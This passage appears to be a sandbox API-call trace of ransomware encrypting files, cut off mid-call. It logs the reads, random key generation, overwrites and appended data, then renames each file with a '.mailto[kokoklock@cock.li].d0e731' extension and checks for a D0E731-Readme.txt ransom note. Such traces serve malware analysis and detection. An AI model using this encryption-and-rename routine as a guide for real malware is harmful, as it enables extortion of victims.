[0061.787] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.790] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0061.790] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", dwFileAttributes=0x80) returned 0 [0061.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3482038 [0061.790] wcscpy (in: _Dest=0x3482038, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.790] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.790] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0061.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3cd8) returned 1 [0061.790] RtlExitUserThread (Status=0x1) Thread: id = 111 os_tid = 0x102c [0061.792] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0061.792] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x20) returned 1 [0061.792] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.792] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x83af93c | out: lpFileSize=0x83af93c*=41080) returned 1 [0061.792] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0xa074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.792] ReadFile (in: hFile=0x5b4, lpBuffer=0x83af910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x83af910*, lpNumberOfBytesRead=0x83af90c*=0x4, lpOverlapped=0x0) returned 1 [0061.794] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0061.794] NtQuerySystemTime (in: CurrentTime=0x83af8e8 | out: CurrentTime=0x83af8e8*=132121176196800854) returned 0x0 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x5b358548 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x639bc1df [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xf90b3375 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xa5948876 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xb43761a0 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xef499f90 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x77097620 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x38ebcaac [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x7c6b3b46 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xf1a22c7b [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x8daa8cc2 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xec659eeb [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xcdd8d671 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x27fa5b24 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x33a586f5 [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x9e3d152d [0061.794] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x2688f7e2 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x793a9395 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xf782fcb8 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xa6440b85 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x1d9b5d5a [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x3b6f665f [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x44359a69 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xa11178e9 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xd95382bb [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x29028137 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x38b82aab [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x262f948f [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x8bb1d9e6 [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0x5a7aba6b [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xee7d798e [0061.795] RtlRandom (in: Seed=0x83af8f4 | out: Seed=0x83af8f4) returned 0xfba5ea75 [0061.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0061.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.805] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.806] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x83af8c0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x83af8c0*=0x4096, lpOverlapped=0x0) returned 1 [0061.806] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.807] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x83af8c0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x83af8c0*=0x4096, lpOverlapped=0x0) returned 1 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.807] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0xa078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.807] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x83af8f8, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x83af8f8*=0x20, lpOverlapped=0x0) returned 1 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.807] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x83af90c*=0x8, lpOverlapped=0x0) returned 1 [0061.807] WriteFile (in: hFile=0x5b4, lpBuffer=0x83af924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x83af924*, lpNumberOfBytesWritten=0x83af90c*=0x4, lpOverlapped=0x0) returned 1 [0061.808] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x83af90c*=0x4, lpOverlapped=0x0) returned 1 [0061.808] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x83af90c*=0x6c, lpOverlapped=0x0) returned 1 [0061.808] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4dc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x33e4dc8*, lpNumberOfBytesWritten=0x83af90c*=0x20, lpOverlapped=0x0) returned 1 [0061.808] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x83af90c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x83af90c*=0x4, lpOverlapped=0x0) returned 1 [0061.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0061.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0061.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.808] CloseHandle (hObject=0x5b4) returned 1 [0061.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0061.810] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\588bce7c90097ed212\\SplashScreen.bmp" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp" [0061.810] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" [0061.811] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.811] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0061.811] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x80) returned 0 [0061.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3482038 [0061.811] wcscpy (in: _Dest=0x3482038, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.811] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.811] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0061.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3c10) returned 1 [0061.812] RtlExitUserThread (Status=0x1) Thread: id = 112 os_tid = 0x1030 [0061.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0061.813] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x20) returned 1 [0061.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.813] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x842fac0 | out: lpFileSize=0x842fac0*=14084) returned 1 [0061.813] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x3700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.813] ReadFile (in: hFile=0x5b4, lpBuffer=0x842fa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x842fa94*, lpNumberOfBytesRead=0x842fa90*=0x4, lpOverlapped=0x0) returned 1 [0061.814] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0061.814] NtQuerySystemTime (in: CurrentTime=0x842fa6c | out: CurrentTime=0x842fa6c*=132121176197113999) returned 0x0 [0061.814] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x2d5a4d35 [0061.814] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x36aa81ec [0061.814] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xd32c2c5e [0061.814] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xf99b93eb [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x9914494a [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x9ed38335 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x1eac0a51 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x2abcbaa9 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xc2380765 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xc432d947 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xd529dfb5 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x8f466d5b [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xdc3c07fc [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xedc9d3c5 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x43e45bb9 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x8f7ba47c [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x8e24b5eb [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xc71880ed [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x82dec24e [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xcb83f31c [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x4b97ec03 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xfcb93fb [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x9b846b5c [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xed8ec98c [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x7671aa76 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xa4cb3815 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xa8dfb5b2 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x27a84940 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xd07a728d [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0xfd66e4d8 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x605c5b16 [0061.815] RtlRandom (in: Seed=0x842fa78 | out: Seed=0x842fa78) returned 0x76ea853 [0061.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0061.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0061.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0061.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.826] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x3704, lpNumberOfBytesRead=0x842fa6c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x842fa6c*=0x3704, lpOverlapped=0x0) returned 1 [0061.827] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x842fa34 | out: lpNewFilePointer=0x0) returned 1 [0061.827] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x3704, lpNumberOfBytesWritten=0x842fa68, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x842fa68*=0x3704, lpOverlapped=0x0) returned 1 [0061.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.827] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4dc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x842fa64, lpOverlapped=0x0 | out: lpBuffer=0x33e4dc8*, lpNumberOfBytesWritten=0x842fa64*=0x20, lpOverlapped=0x0) returned 1 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.827] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x33e47d8*, lpNumberOfBytesWritten=0x842fa90*=0x8, lpOverlapped=0x0) returned 1 [0061.827] WriteFile (in: hFile=0x5b4, lpBuffer=0x842faa8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x842faa8*, lpNumberOfBytesWritten=0x842fa90*=0x4, lpOverlapped=0x0) returned 1 [0061.828] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x842fa90*=0x4, lpOverlapped=0x0) returned 1 [0061.828] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x842fa90*=0x6c, lpOverlapped=0x0) returned 1 [0061.828] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x842fa90*=0x20, lpOverlapped=0x0) returned 1 [0061.828] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x842fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x842fa90*=0x4, lpOverlapped=0x0) returned 1 [0061.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0061.828] CloseHandle (hObject=0x5b4) returned 1 [0061.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2840 [0061.829] wcscpy (in: _Dest=0x33e2840, _Source="C:\\588bce7c90097ed212\\Strings.xml" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml" [0061.829] wcscat (in: _Dest=0x33e2840, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731" [0061.829] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\strings.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.829] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0061.830] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x80) returned 0 [0061.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481bb8 [0061.830] wcscpy (in: _Dest=0x3481bb8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.830] wcscat (in: _Dest=0x3481bb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.830] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481bb8) returned 1 [0061.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c660) returned 1 [0061.830] RtlExitUserThread (Status=0x1) Thread: id = 113 os_tid = 0x1034 [0061.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0061.831] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0061.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.832] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x84afd98 | out: lpFileSize=0x84afd98*=38898) returned 1 [0061.832] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x97ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.832] ReadFile (in: hFile=0x5b4, lpBuffer=0x84afd6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x84afd6c*, lpNumberOfBytesRead=0x84afd68*=0x4, lpOverlapped=0x0) returned 1 [0061.833] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 